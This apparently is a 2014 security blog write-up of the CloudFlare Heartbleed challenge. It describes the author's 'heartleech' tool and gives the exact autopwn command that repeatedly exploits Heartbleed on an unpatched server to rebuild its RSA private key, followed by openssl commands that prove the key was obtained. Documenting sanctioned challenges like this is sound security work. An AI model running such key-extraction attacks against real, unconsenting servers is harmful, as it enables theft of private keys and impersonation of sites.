Monday, April 14, 2014

CloudFlare Challenge writeup

Last week, I made an embarrassing mistake. I misread the OpenSSL code and claimed getting the private-key would be unlikely. This was wrong on so many levels.

Well, today I'm demonstrating the opposite, that anybody can easily get a private-key. Just run my "heartleech" program with the "-a" (autopwn) against a server, go away from your computer for many hours, and when you come back, you'll have the key.

CloudFlare has been nice enough to put up an unpatched server, challenging people to get it's key. This is easy with the autopwn feature of heartleech, as shown in this screenshot.



To solve the challenge yourself, just run heartleech in auto-pwn mode:

heartleech www.cloudflarechallenge.com -a >cloudflare.privkey

It'll spit out every second how much bleeding data it's leeched from the server. It will take gigabytes, so let it run for a while. WARNING: this will take hours and hours. Start it before you go to bed and you may have a result by the time you wake up. If you want to consume more bandwidth, open up several windows running it.

The way this works is that it first grabs the certificate during SSL handshaking. Then, for every heartbleed response it gets back, it searches that memory for a prime factor of the public RSA key in the certificate. It then uses the two prime factors to recreate the private key from scratch, printing it out to the command-line.

Once the program gets a key and exits, you can prove to the world that you got the private key by using it to encrypt a message the public can verify:

echo "@ErrataRob got your key" | openssl rsautl -sign -inkey cloudflare.privkey | openssl enc -base64 -out msg.signed

For me, this produced the following "msg.signed" file:

Qstanlu0Dbr17CwBxAia0zmSVdLu3GMwmgzy6uqPJtne4uTdg9Z/IsEhl5nsxTu3
n1BhMKmeA8cMTb44b7rsapymgRTJccVjvPAMTaUDB34Cfr2EMQqHiT2gK2xbkkRB
76Aa70D2rYK6TSEGbKu9lZ2xBQ7kVBzVam5Drow6nzsIOgVrJDLKC/1ieQ32kT+P
c37/og9dvVarOhm0s8Z1wXLdUlmG89VRe1ibwdtHVNn9/RICgGIyJLwq7A0AW/tN
Cfaw7mem0UrxZO0OkjMb56aUj1fs34mdJx8oT8KD3R/7qaMoX+ets7GAENRrbi+y
YkYsSZUDEAwtQmXyXv6nrA==

To verify this message, you first need to get the public key. One way of doing this is with the following command:

echo "hello" | openssl s_client -showcerts -connect www.cloudflarechallenge.com:443 | openssl x509 >cloudflare.cert

Then, you use this certificate to decrypt (and verify) the message:

openssl enc -d -base64 -in msg.signed | openssl rsautl -verify -certin -inkey cloudflare.cert

If you do this, you get back the message:

"@ErrataRob got your key"

This verifies that I indeed have the key.







1 comment:

Unknown said...

Now, if you put your code in a hardware box with lots of juice, it could be like this? https://www.youtube.com/watch?v=F5bAa6gFvLs

heh heh